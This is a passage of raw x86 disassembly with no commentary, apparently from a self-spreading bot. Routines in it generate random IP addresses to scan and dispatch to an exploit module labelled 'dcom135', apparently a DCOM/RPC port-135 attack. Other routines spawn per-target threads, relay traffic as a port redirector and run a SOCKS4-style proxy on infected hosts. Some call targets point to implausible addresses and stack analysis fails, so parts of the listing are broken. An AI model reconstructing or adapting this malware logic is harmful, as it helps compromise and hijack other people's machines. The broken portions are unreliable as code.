eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_43C848[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43F704 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43F610 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43F650 push esi mov edi, eax call dword_43F700 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 25D0889h push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4450C4[ebx] cmp dword_43C84C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4450C4[ebx] push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_444EC0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_43D7E8 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_43D7E8 nop call near ptr 77F7E300h jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43F6F4 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h nop call near ptr 25E041Ch jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 call near ptr 25D0362h nop sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3302o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43F6A8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_43C848[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_43D7E8 push esi nop call near ptr 26C0000h push 80000400h push esi call near ptr 26B0A62h nop test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_43C84C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j nop call near ptr 2630B7Ah push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_43C848[eax*8] push eax call dword_43F6F4 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_43C84C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_43D7E8 nop call near ptr 26C0000h loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_43C84C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DFo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4450CC[eax], ebx call dword_43F584 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F694 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43F690 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43F6FC mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 2660BD0h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h nop call near ptr 25E041Ch jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj nop call near ptr 2630B7Ah push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43F700 push ebx call dword_43F700 push [ebp+var_3C] call sub_417078 pop ecx push esi call near ptr 25D0362h nop pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43F6E8 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43F668 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43F6EC jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43F620 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43F6F4 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4450CC[ebx] mov dword_4450C4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4450D0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi nop call near ptr 2660BD0h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h nop call near ptr 25E041Ch jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43F680 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j nop call near ptr 2630B7Ah push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4450CC[eax] call dword_43F700 push dword ptr [ebp+8] call dword_43F700 push dword ptr [ebp-4] call sub_417078 pop ecx push edi call near ptr 25D0362h nop pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_4450D0[esi] call dword_43F680 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4450CC[esi] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_4450D0[esi] call dword_43F700 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h dd 21C837Ah ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43F6E8 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43F694 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43F690 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43F6FC push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi call near ptr 2660BD0h nop mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 25E041Ch jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj nop call near ptr 2630B7Ah push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43F700 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4450CC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43F650 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 25D0362h nop loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43F680 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43F5FC push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43F5FC push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43F700 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 25D0362h nop loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25D0362h sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43F650 lea eax, [ebp+var_104] push eax push ebx call dword_43F560 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43F560 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45B1p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 